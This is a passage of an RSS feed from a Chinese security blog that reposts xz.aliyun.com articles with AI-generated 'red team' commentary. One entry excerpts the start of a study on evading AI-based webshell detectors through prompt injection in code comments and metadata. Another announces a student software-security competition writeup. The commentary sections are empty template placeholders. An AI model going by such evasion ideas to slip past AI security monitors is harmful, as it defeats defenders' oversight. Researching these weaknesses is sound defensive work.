&lt;p&gt;&lt;em&gt;原文来源：&lt;a class="link" href="https://xz.aliyun.com/news/91762" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91762&lt;/a&gt;&lt;/em&gt;
&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-03-21T18:20:38.426843&lt;/em&gt;&lt;/p&gt;</description></item><item><title>提示词注入视角下的 AI Webshell 检测绕过技术研究</title><link>https://blog.7qiang.com/posts/auto-security-20260319-369/</link><pubDate>Thu, 19 Mar 2026 21:01:04 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260319-369/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 提示词注入视角下的 AI Webshell 检测绕过技术研究" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;引言随着大型语言模型（LLM）和深度学习技术在安全领域的广泛应用，传统的基于特征码、抽象语法树（AST）或沙箱行为分析的 Webshell 检测手段正逐渐向基于 AI 的语义分析演进。AI 模型能够理解代码的逻辑意图，从而识别出经过复杂混淆的恶意脚本。然而，AI 模型本身存在一个本质性的弱点：它们在处理代码时，往往将代码逻辑与注释、元数据等“非执行内容”置于同一语义空间进行推理。这就为提示词注入（&lt;/p&gt;
&lt;h2 id="ai-agent-分析"&gt;AI Agent 分析
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;基于 红队 Agent（安全视角解读） 视角的技术解读&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="技术要点"&gt;技术要点
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;核心技术概念分析&lt;/li&gt;
&lt;li&gt;实际应用场景&lt;/li&gt;
&lt;li&gt;潜在风险/机会&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="实战建议"&gt;实战建议
&lt;/h2&gt;&lt;p&gt;基于原文内容的实际操作建议。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;对原文内容的深度总结和延伸思考。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文来源：&lt;a class="link" href="https://xz.aliyun.com/news/91756" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91756&lt;/a&gt;&lt;/em&gt;
&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-03-19T21:01:04.588359&lt;/em&gt;&lt;/p&gt;</description></item><item><title>2026软件系统安全赛 writeup</title><link>https://blog.7qiang.com/posts/auto-security-20260319-279/</link><pubDate>Thu, 19 Mar 2026 18:00:44 +0000</pubDate><guid>https://blog.7qiang.com/posts/auto-security-20260319-279/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 2026软件系统安全赛 writeup" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h2 id="原文摘要"&gt;原文摘要
&lt;/h2&gt;&lt;p&gt;为积极响应国家关于加强软件工程学科建设与系统安全人才培养的战略部署，特举办软件系统安全赛。本赛事面向大学生，聚焦大型工业软件、关键基础软件等核心领域软件漏洞的挖掘、攻击与修复，通过模拟真实场景的攻防对抗，全面提升大学生在软件系统安全领域的实战能力。
通过此项科技创新活动，有效提高学生的软件系统安全攻防水平、创新意识与团队协作精神，加强高校间的学术交流，推动软件工程与网络安全人才培养体系的深化改革和&lt;/p&gt;
&lt;h2 id="ai-agent-分析"&gt;AI Agent 分析
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;基于 红队 Agent（安全视角解读） 视角的技术解读&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="技术要点"&gt;技术要点
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;核心技术概念分析&lt;/li&gt;
&lt;li&gt;实际应用场景&lt;/li&gt;
&lt;li&gt;潜在风险/机会&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="实战建议"&gt;实战建议
&lt;/h2&gt;&lt;p&gt;基于原文内容的实际操作建议。&lt;/p&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;对原文内容的深度总结和延伸思考。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;原文来源：&lt;a class="link" href="https://xz.aliyun.com/news/91744" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/91744&lt;/a&gt;&lt;/em&gt;
&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;AI Agent 加工：红队 Agent（安全视角解读）&lt;/em&gt;
&lt;em&gt;生成时间：2026-03-19T18:00:44.175947&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>